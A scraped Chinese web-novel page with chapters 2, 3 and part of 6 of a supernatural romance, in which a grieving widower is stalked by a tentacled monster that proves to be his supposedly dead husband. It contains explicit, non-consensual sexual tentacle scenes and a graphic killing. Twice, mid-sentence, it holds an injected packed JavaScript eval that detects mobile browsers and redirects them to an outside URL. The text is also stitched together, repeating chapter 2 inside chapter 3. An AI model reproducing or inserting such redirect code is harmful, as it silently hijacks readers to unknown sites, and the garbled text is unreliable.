《寡夫,但怪物都爱他》 2. 第 2 章 # 002 连下几天的雨终于停了,澄净的天空被乌云放出来,阳光照进落地窗,在窗前洒了一片暖光。 江树缓缓睁开眼,首先看到的是管家坐在他床边,见他醒来连忙问:“先生,你醒了?想要什么?” 他不明白地问:“管叔,你怎么在这里?” “你昨天发烧了,晕倒在楼下,还好易九在旁边,他照顾了你一整天,刚刚我才终于说动让他去休息,他——” 管家说到这里突然打住,江树努力回想,只记起他看到楼下花园有个诡异的影子,把自己埋在了他窗外,可是易九挖了半天什么也没有挖出来。 他撑到床想起来,结果一动手背就痛起来,才发现他一只手打着针,床边的架子还挂着一袋药水。 一直以来他最骄傲的就是他的身体很好,小时候受的那些苦,唯一留给他的好处就是从来不生病。 他不禁问管家,“我怎么了?” 管家一脸不知该说他什么好的表情,告诉他,“医生说你这几天没有好好吃饭,也没怎么睡觉,心情郁结,压力太大才生病的,让你好好休息。你这样……少爷他怎么能安心。” 江树愣了片刻,没接管家的话,若无其事地点头,“我饿了,想吃鱼片粥。” 管家不觉得他两句话说动了江树,但听江树说想吃东西,他连忙站起来,“好、好。我马上去叫师傅做,你再睡会儿,好了我端上来。” 江树乖乖地点头,看着管家出去,等管家一走他就下床,输着输液架去厕所,上完才意识到他的衣服全换了,连内裤也换了。 管家说易九照顾了他一整天,给他换的人应该就是易九。 他顿时拧起了眉头,虽然他和易九都是男人,他也不确定他是不是就是喜欢男人,但他和男人结了婚,易九一个年轻男人给他连内裤也换,怎么都显得暧昧了。 可能易九不喜欢男人,所以没意识到这个问题! 这个解释他自己都不信,易九对他的态度,他自己都能感觉到不正常。 他不理解的也是这点,殷咎到底为什么要找易九给他当保镖,打算绿自己? 江树赖得想下去,从厕所出来他没回床上,走到窗前准备晒会儿太阳。 今天的天气很好,阳光洒满院子的花园,不再像昨天那么模糊诡异。 他下意识往昨天人影出现的地方看去,园丁正在往易九挖过的坑上种花。 花的品种江树没见过,枝茎像蔓藤,但不依附别的枝杆,而是相互缠绕支撑起来,叶片很小,密密麻麻,衬托着藤条上开出的花。 江树虽然不认识什么花的品种,但藤上的花与他常识里的花相比,有种说不出的怪异感,花朵有他拳头大小,颜色蓝得妖异,照在阳光下仿佛能发光。 园丁像是感觉到了他的视线,回头向他看来,露出一个憨实的笑。 江树也礼貌地回了一个微笑,园丁却没有收回的意思,一直保持着看他的姿势,笑也一直挂在脸上。 正常的笑容挂得久了也变得诡异起来,江树想起昨天雨雾中的影子,与园丁的身影重合在一起,背后猛然冒起一股寒意,他连忙把窗帘拉起来。 直到窗帘完全闭合的一刻,园丁都维持着对他笑的动作,丝毫没变。 可园丁在他们家两年了,一直给人的感觉都是老实憨厚,因为腿有点残疾,走起来一瘸一拐,他还总是很关照,园丁也一向对他态度很好,从来没有像刚才那样怪异过。 江树忍不住把窗帘掀开一点缝,园丁终于没有看他了,在继续种花,和平时没有什么不同。 他松了口气,园丁在他们家这么久一直尽责本分,可能只是担心他,多看了他一会儿。 但他还是不能安心,管家把做好的鱼片粥送到他房间,他装作随口地问园丁家是不是出什么事了。 管家不解地反问:“他怎么了?没有听说过,你怎么突然提起他了?” “就是看到他在花园发呆,如果是他家里出了什么事,能帮的就帮一下。” 管家答应会去问问,他才开始喝粥,可是连喝了几碗都不是小时候的味道。 小时候他最期待的就是家里的鱼卖不完,他养母就会做成鱼片粥,那是他那时能吃到最好的东西,每次吃完他就什么难过的事都可以忘了。 管家不知道江树想了什么,看到他胃口不错十分欣慰,收拾好碗筷,等江树输完药水,又监督他吃了口服的药,再叮嘱他好好睡觉才离开。 江树以为他还是睡不着,但药里可能有安眠的成分,没一会儿他就睡了过去。 这一觉他睡到了晚上,药起了作用,头终于不疼了,也不再昏昏沉沉,只是睡觉时出了满身汗很难受。 吃过晚饭,他不管什么医嘱,背着管家偷偷去洗了澡。 总算舒服了的江树擦着头发走到了窗前,不自觉又往外面的花园看了一眼。 园丁把那种花在他窗前种了一排,蓝色的花在一层稀薄的月光下,显得格外蓝,微微摇晃着像是在跟他打招呼。 意识到这个念头的离谱,他立即坐到床上认真擦头发,擦着他又想起了殷咎。 刚和殷咎结婚那段时间,他还不相信殷咎真的和传闻的不一样,时刻警惕殷咎会对他做什么,有次他洗完澡出来看到殷咎在他房间。 殷咎看到他对他招了招手,他小心地走过去,殷咎拉着他把他按到轮椅前地毯坐下,他以为殷咎终于要暴露本来面目了,结果殷咎只是拿起吹风机给他吹头发,还在他身后一直唠叨。 “你总湿着头发就睡觉,会头疼的。” “而且万一感冒了怎么办?” “我知道你身体很好,但是我希望你不要生病,一直都健健康康。” 江树突然把擦头发的毛巾蒙到了脸上,就这么半湿地上床,幼稚地想他就是要湿着头发睡觉,就是要生病。 然而殷咎不会再来说他,也不会再给他吹头发了。 他的咎哥不在了,他的咎哥再也不会回来,这个世界上唯一真正对他好的人,永远都不会再回来了。 江树脸埋在枕头里,从知道殷咎死讯起第一次让自己真正哭出来,他紧紧抱住枕头像是深恐被殷咎听见了,把所有声音埋在了枕头里,眼泪也没进枕头,浸湿了一大片,最后他哭到了睡着。 “先生……先生……先生……” 窗外新种的蔓藤明明没有风,却不断地摇曳起来,发出的声音像一个风烛残年的老人在呼唤曾经的爱人。 接着蔓藤以诡异的速度长高,所有藤条扭结在一起像一张网,铺上了江树房间的窗户。 粗糙坚硬的蔓藤贴着玻璃,却如同肌肉组织不断地胀缩,蠕动,像是想要钻进玻璃里,藤上一朵接一朵地开花,瞬间整个窗户都被妖异的蓝色花朵盖住。 花瓣此刻也看起来不像是植物,而是一瓣瓣蓝色的软肉叠成的口器,全部朝窗户里面的江树一开一合,中间的花蕊也像某种动物的腕足,一条条挤成了一簇,舔在玻璃上淌出了腥粘的液体,显得贪婪又欲求不满。 房间里轰然绽出一片诡异的红膜,像是光发出艳丽的红色,可又像某种实体的存在,瞬间覆满了房间里的一切,红色的光纹不断流动。 蔓藤上的花朵察觉到危险,可是又不舍得这么轻易离开,就祂犹豫的时间,房间天花板上的红光突然荡出一层层波纹样的涟漪,波纹的中心伸出来手指粗的触须。 一开始只有几条,可眨眼越来越多,密密麻麻堆满了整个天花板,悬在空中像蛇一样扭动蠕缩。 触须通体漆黑,散发出极为艳丽的红光,将漆黑的触体映成了腥红的颜色,显得极为诡异又危险。 这时蔓藤上的花没再犹豫,所有开合的花瓣瞬间全部闭合起来,开始往回缩。 触须却没有给祂机会,如同跃出的鱼群涌向窗户,玻璃如同不存在,所有触须都毫无停顿地穿过去。 蔓藤失去了逃走的机会,像人类一样恐惧地抖起来,层层叠叠的腥红触须可见地胀大,分裂出更多更细的触须,像是生长出的根系,一下就铺满了祂所有的花朵。 祂的花就如同粘上腐蚀性极强的菌丝,开始失去美丽的颜色,腐烂,连根一起融化成一粒一粒棉絮样的残渣,最终被菌丝般的触须吞噬,消失得像从没存在过。 触须不屑地缩回房间,所有的触尖朝着床上的 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他害怕得直抖,可是那些蛇没有咬他,而是缠绕到他身上,故意磨动在他敏感的感官上。他连忙去推,手却被缠住了,然后拉开到肩膀两边,几条红蛇拧在一起成了一条更粗的蛇,从他的肚脐下面蠕动上来,每往前一下他就被磨得控制不住颤缩。 而红蛇像是变得更加兴奋了,先是绕在他的胸前,再滑过他的脖子缠着喉咙,最后翻上下颌到了他唇边。他感觉唇被什么舔了一下,接着那条大蛇就钻进了他嘴里。 “……嗯……呜……” 他吓得想喊,却因此被堵进了更深的地方,拧成一条的蛇这会儿又分开,瞬间他口腔里又被缠住了舌头,又被碾磨着口腔内壁,又被探往了喉咙的深处,一股他无法形容的腥香在他的味觉细胞里漫延,不断分泌出的水渍被挤出去流到了脖子,下一刻就有蛇蠕动过来舔走。 他终于意识到缠在他身上的好像不是蛇,触感滑腻又粗糙不平,在他身上变得越来越细,越来越多,最后布满他的皮肤,像无数形状奇特的舌头舔在上面。 他耳边突兀地响起了一个仿佛从深渊中传来的声音。 “……宝贝……好香……” “宝贝……你好香……好想吃……” “好想……好想……好想……吃……” 江树感觉他马上要被吃掉,终于哭了出来,口中含糊不清地乞求,“……不要——放……我……” “不要怕我……不要怕我……宝贝……我爱你……” 他没听进那个可怕的声音在说什么,意识里只剩下恐惧。可是缠在他身上的东西带起了他的反应,他觉得这比那不知是什么的东西更可怕,哭得更厉害了。 “别哭了!宝贝。” 江树身上的触须一刹间全部退出来,接着房间里所有的触须都开始迅速回缩,往床前汇集,直到融合在一起,凝成一个身材高大的男人。 别墅区的绿化隔绝了城市的光污染,房间里褪去了诡异的红光,只有院子里一盏路灯亮着,微弱的光照进房间什么也看不清。 男人就如同一个剪影伫立在床前,本来骨节分明的手忽然又变成了几条触须,直到到了床上,隔着被子贴在了江树的反应上面。 江树感觉他的梦终于结束了,可是他的反应没有结束,本能地想要得到触碰。终于感觉有什么压在上面,他下意识往上蹭,却陡然感觉到一股寒气,像是被空调最低档的冷气对着吹。 三月的天气晚上本来就还很冷,他不由地一哆嗦,瞬间什么欲想都没有了。 这感觉很不舒服,他不爽地在被子里滚了两圈,突然感觉到沉沉的睡意,大脑就像不受他的控制,自己睡着了。 房间里的剪影终于有了动作,他去拿来电吹风,坐到床头扶起江树,慢条斯理地给江树吹头发。 江树睡得毫无知觉,他细细耐心地吹干了江树每一根头发,终于把人放回床上。 他趴在一旁,眼里满是藏不住的欲望对着江树,指腹压到江树唇上,要进不进地挤着江树的唇缝,声音却一本正经地说:“不要湿着头发睡觉,会头疼。” 3. 第 3 章 # 003 江树一点不觉得这是什么关心,他真的要被吓疯了,这种什么也看不到,却能感受到的感觉,仿佛直接抽走了他的理智。 那个声音往他贴得更近,几乎碰到了他的耳朵,声音满是欲望地喘息着说:“你好香好香,让我舔舔好不好?” 一刹间江树头皮发麻,他不确定这个香和舔舔是把他当成了什么,在恐惧的压迫下,他本能地喊出来。 “滚开!别碰我啊——” 没想到身后的东西真的放开了他,但明显还能感觉在他身后,他管不了那么多,拔腿就跑。 拐出路口看到慌张找来的易九,他本能地扑过去贴在易九身前,抓着易九的胳膊发抖。 “别怕,没事。” 易九的手抬起来在他背后,却没有落在他背上,怒瞪着他身后的方向。 他回头望了一眼,还是什么也看不到,不知道刚才的东西是不是跟来了,推了下易九说:“我们要回家,快走!” 易九终于收回视线,虚搂着他的肩膀,带着他上车。 车开出去,江树终于有了一点安全感,他心有余悸地拉紧外套,易九忽然向他这边凑近像是嗅什么,问他,“刚刚发生了什么?” 这会儿他冷静了许多,不知道要怎么说,连他自己也怀疑刚刚到底发生了什么,会不会又像昨天那样,他以为是真的看到了,实际又什么都没有,他说出来易九会不会觉得他真的有精神病。 最终他不打算告诉易九,随口回了声,“没有。” 易九倒没追问,只是视线一直注视在他身上,许久终于说:“回家去洗澡。” 江树又觉得被冒犯了,他瞥上易九过于关切的视线,“你是不是没有搞清自己的身份,管得太多了?” 易九像是猛然惊醒了什么,一眼不眨地盯了他好一会儿,突然坐正回去垂起头道歉,“对不起,是我管太多了……但是殷先生让我、照顾你的。” 听到易九提殷咎,江树瞬间沉默下去,车里跟着安静得一点声音也没有。 在车里闷了一路,到家下车江树终于闻出身上沾有一股怪味,很腥,说不出来是哪种腥,他从来没有闻过这种味道。 向易九看去,看到易九一脸“你终于发现”的表情,他倏地推开易九,上楼去洗澡换衣服。 这一趟回来差不多中午了,江树洗完澡走到窗前,今天的阳光很好,洒满院子的花园,不再像昨天那么模糊诡异,所有一切都清晰映在他眼下。 园丁正在昨天人影出现的位置,往易九挖过的坑上种花。 花的品种江树没见过,枝茎像蔓藤,但不依附别的枝杆,而是相互缠绕支撑起来,叶片很小,密密麻麻,衬托着藤条上开出的花。 江树虽然不认识什么花的品种,但藤上的花与他常识里的花相比,有种说不出的怪异感。 花朵有他拳头大小,颜色蓝得妖异,照在阳光下仿佛能发光。 园丁像是感觉到了他的视线,回头向他看来,露出一个憨实的笑。 江树也礼貌地回了一个微笑,园丁却没有收回的意思,一直保持着看他的姿势,笑也一直挂在脸上。 本来正常的笑容挂得久了也变得诡异起来,江树想起昨天雨雾中的影子,背后又冒起一股寒意,蓦地把窗帘拉起来。 直到窗帘完全闭合的一刻,园丁都维持着对他笑的动作,丝毫没变。 园丁在他们家两年了,一直给人的感觉都是老实憨厚,因为腿有点残疾,走起来一瘸一拐,他还总是很关照,园丁也一向对他态度很好,没有刚才那样不正常过。 江树忍不住悄悄把窗帘掀开一点缝,园丁终于没有看他了,在继续种花,和平时没有什么不同。 吃饭的时候,他特意问管家园丁家是不是出什么事了,管家不解地反问:“他怎么了?没有听说过。” 江树怀疑他是不是想多了,园丁在他们家这么久,从来没做过什么出格的事,可能只是担心他,多看了他一会儿。 但他还是不能安心,对管家说:“没什么,就是看到他在花园发呆,如果是他家里出了什么事,能帮的就帮一下。” 管家答应会去问问,江树就没再多想,这几天葬礼的事都有人安排,但总有很多场合需要他出面,一直到今天去集团,他都没有真正地闲下来过。 午饭过后,他一个人在空旷的房子里,突然没有人再来找他去做什么,他有些不知所措,就像一场表演结束,所有人都走光了,只剩下他一个人在台下还想留住什么不愿离开。 就这么发呆到了晚上,他洗完澡出来不自觉又走到窗前,往外面的花园看了一眼。 园丁把那种蓝色的花在他窗前种了一排,今晚没有下雨,蓝色的花在一层稀薄的月光下,显得格外蓝,微微摇晃着像是在跟他打招呼。 意识到这个念头的离谱,江树立即坐到床上擦头发,擦着他又想起了殷咎。 刚和殷咎结婚那段时间,他还不相信殷咎真的和传闻的不一样,时刻警惕殷咎会对他做什么,有次他洗完澡出来看到殷咎在他房间。 殷咎看到他对他招了招手,他小心地走过去,殷咎拉着他把他按到轮椅前地毯坐下,他以为殷咎终于要暴露本来面目了,结果殷咎只是拿起吹风机给他吹头发,还在他身后一直唠叨。 “你总湿着头发就睡觉,会头疼的。” “而且万一感冒了怎么办?” “我知道你身体很好,但是我希望你不要生病,一直都健健康康。” 江树突然把擦头发的毛巾捂到了脸上,就这么半湿地上床,幼稚地想他就是要湿着头发睡觉。 可是殷咎不会再来说他,也不会再给他吹头发了,他把脸埋在枕头里对着不存在的人说:“咎哥,你怎么还不来骂我!” 没有人回答他,除了他没有其他任何的声音。他的咎哥不在了,他的咎哥再也不会回来,这个世界上唯一真正对他的人永远都不会再回来。 从知道殷咎死讯起,江树第一次让自己真正哭出来,眼泪全部没进了枕头里。 窗外新种的蔓藤忽然以诡异的速度长高,所有藤条扭结在一起像一张网,铺上了江树房间的窗户。 粗糙坚硬的蔓藤贴着玻璃,却如同肌肉组织不断地胀缩,蠕动,像是想要钻进玻璃里,藤上一朵接一朵地开花,瞬间整个窗户都被妖异的蓝色花朵盖住。 花瓣此刻也看起来不像是植物,而是一瓣瓣蓝色的软肉叠成的口器,全部朝窗户里面的江树一开一合,中间的花蕊也像某种动物的腕足,一条条挤成了一簇,舔在玻璃上淌出了腥粘的液体,显得贪婪又欲求不满。 江树不知道他怎么睡着的,大概就如殷咎说的,头发没有擦干就睡觉会头疼,他睁开眼就感觉脑袋像被灌了铅一样又重又难受,后悔昨晚不该那么幼稚,故意不把头发吹干。 虽然这些习惯他以前也没有,全部都是殷咎给他养成的。 在床上来回地翻了好几圈,他终于发现房间的窗帘紧紧拉着,昨晚睡觉时他好像没有拉过窗帘。 是管家帮他拉的?但管家不会半夜来他房间来给他拉窗帘。 江树怀疑是他什么时候自己拉的,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花在他手里发出“沙沙”的声音,他仔细看才注意到花瓣不像别的花是光滑的,上面的蓝色其实是一圈圈层叠的纹路,所有花瓣围在一起,中间的花蕊就像一只眼睛。 他突然理解了这花为什么叫蓝纹瞳衣,易九突兀地挤到他面前,挡住了庄伟,还一把拿走他手里的花,对着他毫无尊敬地叫了声。 “小先生。” 他刚要生气,易九就不管不顾地拉起他到旁边的起居室,随手丢下那一大束花,把他推到沙发坐下,然后半跪过来弯着腰,抬起他脸用冰袋给他敷眼睛。 他被冰得一缩,“让开,你越来越自作主张了,我叫你给我敷了吗?” 易九捏着他的下巴,把冰袋又敷回来,像哄他似的说:“稍微敷一下,会舒服一点。” 江树没有注意他的眼睛,此刻冰袋一敷他感觉到了舒服,才意识到他眼睛可能肿了,此地无银三百两地解释,“不是哭的。” 易九不回话,专注扶着冰袋一动不动,他眼睛被冰袋挡着,看不见易九的脸,猛然感觉在他面前的人好像殷咎,不自觉抓住易九的一只手叫出声。 “咎哥。” 易九如同没有听到,动作都没僵一下,反倒是江树先反应过来,急忙地推开易九起身,“不用敷了!以后别这么自作主张。” 看着江树慌张地跑出去,易九嘴角轻勾地露出了笑意,把江树刚刚抓过的手又凑在了鼻间,露出满足又无法满足的表情。 6.第 6 章 # 006 殷咎的房间是厚重的中式风格,大量的红木家具将他这一声框在房间里,又因为他本来就喊得嗓音发颤,回荡出了仿佛拨琴般的颤响,撞得江树耳膜也跟着颤起来。 他第一次听到殷咎这样的声音,脑子一下懵了,不知道这种时候殷咎让他等什么,可是他的脚没理他的想法,擅自停下来,目光缓缓向殷咎看回去。 殷咎的轮椅开到了他面前,空着的那只手伸来拉住他,就这么把他拉回屋里。他都不知道门是怎么关过去的,轮椅抵过来就把他困在殷咎的膝盖和门中间。 被殷咎抓住的正好是他受伤的手,殷咎指腹若有似无地擦在伤口边缘,他掌心泛起微微的疼。可他此刻脑中翻涌的不是殷咎干嘛欺负他的伤口,是笼罩着他难以形容的暧昧。 “咎、咎哥!” 江树抽了抽手,没能抽开,殷咎不回应他,擦着他伤口的指腹突然停下来,动作凑近嗅在他的掌心,而在下面的另一只手一直没有停下。 他感觉殷咎的鼻尖碰到了他的手心的皮肤,殷咎发出一声极轻的喘声,呼出的气息也喷在他伤口上,有点疼,又有点痒。 他视线不由地低下去,正正对上了殷咎下面的手,殷咎仰起脸向他望来,他透过镜片看到了殷咎的双眼,又从镜片上看到了他自己。 在他的印象里,他认识的殷咎总是严肃的,温柔的,总是如同对所有事都波澜不惊,运筹帷幄,他从来没有见到殷咎这样的表情,迷离,充满了欲想和渴望。 而他目光发直,整个人像被定住一样就这么看着殷咎。 从新婚夜那晚殷咎拒绝他起,他一直以为殷咎不行,此刻才知道殷咎没有不行,还很惊人。到最后,殷咎骨节分明的手铺上了几乎要皮肤同色的成果,挂在骨节处缓缓下滑,最后渗进指缝里。 这个画面看得江树喉咙莫名感觉发痒,下意识干咽了咽,他不知道为什么到这刻他都还是没动,殷咎的喘息全都没在他手心里,甚至感觉到了殷咎的唇触上了他的伤口。 他脸已经红到了耳根,终于缩了一下手,企图合理地解释,“那个咎哥,嗯、就是男人有、有这种需求是很正常的,我帮你清理。” 殷咎沉迷的眼神蓦然沉了下去,江树又接着说:“你叫住我,不就是你不方便,要我帮你清理吗?” 他终于缓缓放开了江树的手,操作轮椅往后退了半步的距离。 江树看殷咎退开松了口气,结果殷咎就只退了这半步不动了,他只好从殷咎的膝盖前挤出去,急忙冲进了卫生间,假装他什么感受也没有地拧热毛巾。 殷咎终于把轮椅从门口转开,转到了卫生间的门外面,正对着里面不动,隔门看江树在把毛巾拧了一遍又一遍,在暖色的灯光下,脸红得如同一颗诱人的果实。 他把刚刚碰过江树伤口的手凑到嘴边,指腹沾到了江树的血迹,他喂到唇边,舌尖舔过,顿时衣服布料下面爬满了腥红的管状物,如同触须交缠在一起,在他皮肤上不断扭动、鼓胀。 下一刻,轮椅下像鱼群涌出一样伸出无数触须,避开了卫生间的角度,从两边绕到卫生间的门外,片刻爬满卫生间外的墙,红色的诡光把整个房间都映上了一层妖艳的颜色。 层层叠叠的触须拼命地往卫生间的门里蠕动,可是又没敢真的进去,直到江树终于肯把毛巾拧好出来。 刚刚所有的触须一瞬间消失得一干二净,江树一脸严肃地走到轮椅前蹲下,殷咎像是完全交给他处理,还是刚刚的动作,连手都没拿下来。 他脸已经没那么红了,先是做了一下心理准备,才拉起殷咎的手。 这不是他第一次拉殷咎的手,可此刻他感觉殷咎往常总是有些冰凉的手,变得格外烫人,看到上面的痕迹他刚褪下颜色的脸又涨红起来。 他硬着头皮小心避免碰地往殷咎手上擦,故意分散注意地说:“咎哥,你的手真好看,手指这么长——” 他说着脑中又浮现手刚刚殷咎手在上面的画面,猛然说不下去,他听到殷咎呼吸忽然重了一声,也没敢抬头去看,快速擦完手放到一边,然后他僵住了。 同样是男人他不是没有看过自己的,大体上也没有什么不同,可是他控制不住想殷咎刚刚的形状,脸上的温度他自己都能感觉像要烧起来,尽量低着头不让殷咎发现,可他低头反而离得更近了,像是他要用脸贴上去。 ——怎么办啊! 江树感觉他要疯了,他到底是为什么要说给殷咎帮这种忙,可他做到一半突然丢下,反而更显得他有什么想法。 最终他还是伸手拿起来,尽量不碰上面沾到的地方,半眯着眼睛擦了个大概就腾地一下站起来。 “好了,裤子你自己扣好。” 江树说完急忙跑回卫生间,洗完毛巾回到殷咎面前,不敢直视殷咎地说:“咎哥,那个你不要多想,就、就这是护、护理。很高兴看到你那个、那个正常,很厉害,比我大!……手、不是,我手走了。” 殷咎目光往自己下面瞟了一眼,看江树说完都不正眼看他就要走,他一把将人拉住。 江树明显慌张地抖了一下,回头问他,“咎哥,还有什么事啊?” 他把江树的手摊开,因为拧毛巾江树手上的伤又开始往外渗血,他克制地不再去碰,只说:“先去找管家把伤口处理好。” “我知道了。”江树点了点头,要把手要回来,可殷咎还捏着不松,他又叫了一声,“咎哥。” 殷咎拿出一个精致的礼盒,塞到他手里,他不解地问,“这是什么?” “礼物。” 江树脑中嗡地响起来,“今天是什么特殊的日子吗?为什么要送我礼物?” “我想送。” 江树收过殷咎不少礼物,他的许多东西都是殷咎送给他的,只是殷咎很少这么郑重地包装成礼物。 不过他此刻实在不想再留下去,接过来急忙地说:“谢谢咎哥,我走了。” 看着江树逃出了房间,殷咎又低头往下盯了一眼,嘴角勾起了一抹笑,轮椅下面藏着一堆被切断触须,在阴影里像是兴奋一样不停地蹦哒,一条更大的触须伸过去,分裂出菌丝一样的根须将断触须全部包裹住,然后吞噬,融合为一体。 江树回到房间脸还在发烫,他怕这么快再见到殷咎尴尬,晚饭也没下楼去吃,管家就送到了房里。 “夫人,您要在哪里吃?” “桌子上。”江树看到管家连忙过去,关心他问,“你的感冒好了?” “我没有感冒。” 管家还是坚持,江树只好妥协,摆完了菜管家要走,他连忙问:“咎哥他,有没有说什么?” “老板也没有下楼吃饭,您和老板是发生了什么吗?” 江树想到刚刚的事,不好意思说,编道:“可能是累了,我们都有点累。” 管家不信,不过优秀的管家不会追问,他沉默地退出了江树的房间。 吃过饭后,江树才想起殷咎给他的礼物,盒子挺大,拿着还很有分量,他猜测什么都有可能,却完全没想到是一个——黄金打的手铐,铐上还毛了一层粉色的,毛绒绒的软毛。 这是什么? 江树的脑子卡住了,完全想不通殷咎为什么要送个手铐给他?虽然他是挺喜欢金子,可手铐是啥意思?提醒他不要违法犯罪,不会就要大义灭亲吗? 那上面包的这层毛又是啥?包装? 江树看不懂,拍了张照片准备明天去问问见多识广的吴子涵,然后把金手铐锁进保险柜就去洗澡。 浴室很大,还有一个双人大浴缸,不过江树在海里游惯了,觉得浴缸还是太小,从来就没有用过。他脱了衣服站在淋浴下面,一开始都还很正常,直到一个低头,莫名就上头了男人的胜负欲。 他觉得他没有比殷咎差太多,想着就开始比起来,可是真的能比的时候他脑中又浮现出殷咎动手的画面,还怎么都挥不去,最后他用手臂挡着眼睛趴到了墙上。 视线被挡住,脑子里的画面反而变得更清晰了,可是他停不下来,一边想一边羞耻地发出喘声。 而他背后的浴室光线真的暗下来,四周的墙瞬间爬满了像根系一样的腥红触须,发出的诡异红光将整个浴室染得像个妖魔的洞窟,墙上面的触须层层叠叠,全都向江树的身周伸,要碰又没碰地围绕着他不停胀缩。 江树感觉到一股寒意,明明热水还淋在他身上,他却感觉到冷,还有一股咸腥的气味一直往他鼻子里灌,身后好像有无数双眼神在注视着他。 瞬间,殷咎的手在他脑海里不见,变成了玻璃罐里的触须,想起触须贴在内壁上耸的画面,他感觉那诡异的触须像是爬出来,全部爬到了他身上。 他猛地抬起头,浴室里黑了一秒,吓得他立即警觉起来,但再看又没发现什么异常,唯独是他蔫了。 “都怪那个变态的怪物触须!” 这种感觉非常不爽,江树把问题都推给了玻璃罐里的触须,他快速洗完澡,出去就扑上床睡觉。 门外面,殷咎的轮椅从江树的房门前转开,开向了电梯。 别墅一共有三层,二层是他和江树的卧室,一层是主客厅和餐厅,还有管家的卧室,其他佣人住在隔壁的一栋楼,平时没事不会在这边。 最后就是地下室,一半是车库,一半是他的书房。 但是书房旁边还有一扇门,平时一般都不会打开。 殷咎的轮椅径直开了那扇不打开的门前,突然离开轮椅站起来,两边昏暗的灯光映出了他高大完美的身型。 他一脚往后踢开轮椅,拉开系得板正的领带,将衬衣的扣子解到了胸口,然后对着面前漆黑的门,几条触手从他衣袖里伸出来,穿进了锁孔里。 咔嚓。 厚重的门打开,里面是一个巨大的房间,看起像是一个会议室,但是风格却与平常的会议室完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362134|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同,漆黑的四壁上刻满如同触须攀爬在上面的纹理,地板也显现出深渊一样的黑色,站在上面仿佛随时会坠入深渊。 最中间的椅子高出了一阶,上面布满繁复诡异的花纹,占着绝对的主位,如同王座。 管家不知什么时候到了殷咎身后,殷咎摘下眼镜,往里走进去,眼镜像消散的雾一样消失在他手里,管家就紧跟在他旁边。 走到最中间的椅子前,椅子就如同在迎接祂的主人般,扭动起了靠背上盘成花纹的触须,发出艳丽的红光。 殷咎随意地坐下去,两边围成半圆的椅子上就像沼泽冒起了气泡一样,咕咚咕咚往上长出了“人”。 一个人形变得不彻底,长了张人脸却是怪物身的“人”最先开口。 “老大,协会的那帮蛆虫真的越来越烦了,咬着我们不放,干脆把他们全灭算了。” 他旁边的一个几乎是球的男人接道:“没脑子,就算把他们全灭了,不用多久又会冒出一个新的协会,这么久你还是这么不了解人类。” “老大,这次凌域的事,你打算怎么办?” 一个气场十足的短发女人轻靠着椅子,向殷咎盯去。 殷咎一手撑着头,目光扫过去最后定在贺祈脸上,嗓音平稳中带了一丝慵懒问:“贺祈,你查到了什么?” 贺祈没看出殷咎的眼神有什么,但就是这种什么也没有才最可怕,他不知道殷咎对他和江树搭话有多生气,可是天地良心他要是一开始知道那是江树,他把自己剁成肉沫也不会出现在江树面前。 他小心翼翼地站起来,不敢直视殷咎地回答:“是蜕骸者,凌域已经蜕化,不过魆骸没被协会那群人抓到,逃走了。” 殷咎沉默了片刻,决定地说:“在协会找到前先杀了祂。” 贺祈松了口气,殷咎没提江树的事应该是放过他了,结果一个不怕死的突然开口,“老大,江树到底是不是你的蜕骸者?你跟他在一起太危险了,趁早让他——” 殷咎平静的脸上渗出了极致的暴怒,座椅上的红光一闪,数条腥红的触须一跃而出,拧在一起如同一把利刃,以几乎看不见的速度直穿刚说话的喉咙。 管家在后面不由地又护住了自己的喉咙,看着血瞬间像水一样涌出来,片刻染透了那位的衣服,还想开口说什么,可张口喉咙就冒出几个血泡,什么也没说出来。 殷咎的声音冰冷地说:“我的事轮不到你管。” 接着触须收回,那位如同一条死鱼般跌到地上,殷咎的目光又猛然转向了贺祈。 贺祈有种见不到明天太阳的预感,还好殷咎没有捅他的喉咙,只是说:“谁允许你接近他的。” 贺祈冤枉,大概辩解,“老大,你不是跟着他?是他自己跑去的。” “但你不该出现在他面前。” 贺祈无语,他肯定是殷咎在江树那里受了什么气,投降地说:“我错了,保证再见到他一定绕他两百里走。” 殷咎起身,无视屋里所有的活物,重新拿出眼镜戴好,又扣好扣子,拉紧领带,走出去坐到轮椅上,瞬间变回了矜贵禁欲的殷老板。 “老板,等我。” 管家连忙跟出去,剩下的几位把痛失喉咙那位捡起来,粘了粘他喉咙的洞,他一下活回来,趴到地上把流出的血又吸回来。 贺祈猛地一脚飞踹过去,甩起长发骂,“傻逼!明知道在他面前提江树是他蜕骸者他会发疯,你还非要提。” 这一骂贺祈一下收获了同盟,所有人都一起跟着又踹又骂,“就是,祝你早日也遇到你的蜕骸者,看你怎么办!” 江树睡得很熟,他又做起了奇怪的梦,这一次他被关在一个玻璃罐里,而在玻璃罐外面,有一个长满触须的巨大怪物。 怪物的触须穿过玻璃罐伸进里面,缠到了他身上,一点一点沿着他的皮肤蠕动,在他身上涂满了发着红光的诡异黏液,他浑身都是腥臭气味,他想要摆脱,可是抚在他上面的触须,突然变成了一只手。 他吓得抬头看去,发现殷咎就在玻璃罐外面,无比巨大,正一眼不眨地盯着他,就仿佛殷咎自己动时那样。只是这次变成了殷咎看着他出来,他羞耻得快哭了,向殷咎道歉。 “咎哥……我不是……不是故意的……” 殷咎站在江树的床边,外面微弱的路灯映在他脸上,打出了一片光影,他对着江树一动不动,只是触须从他脚底爬上了床,钻进江树被子里,肆意地爬满了江树全身。 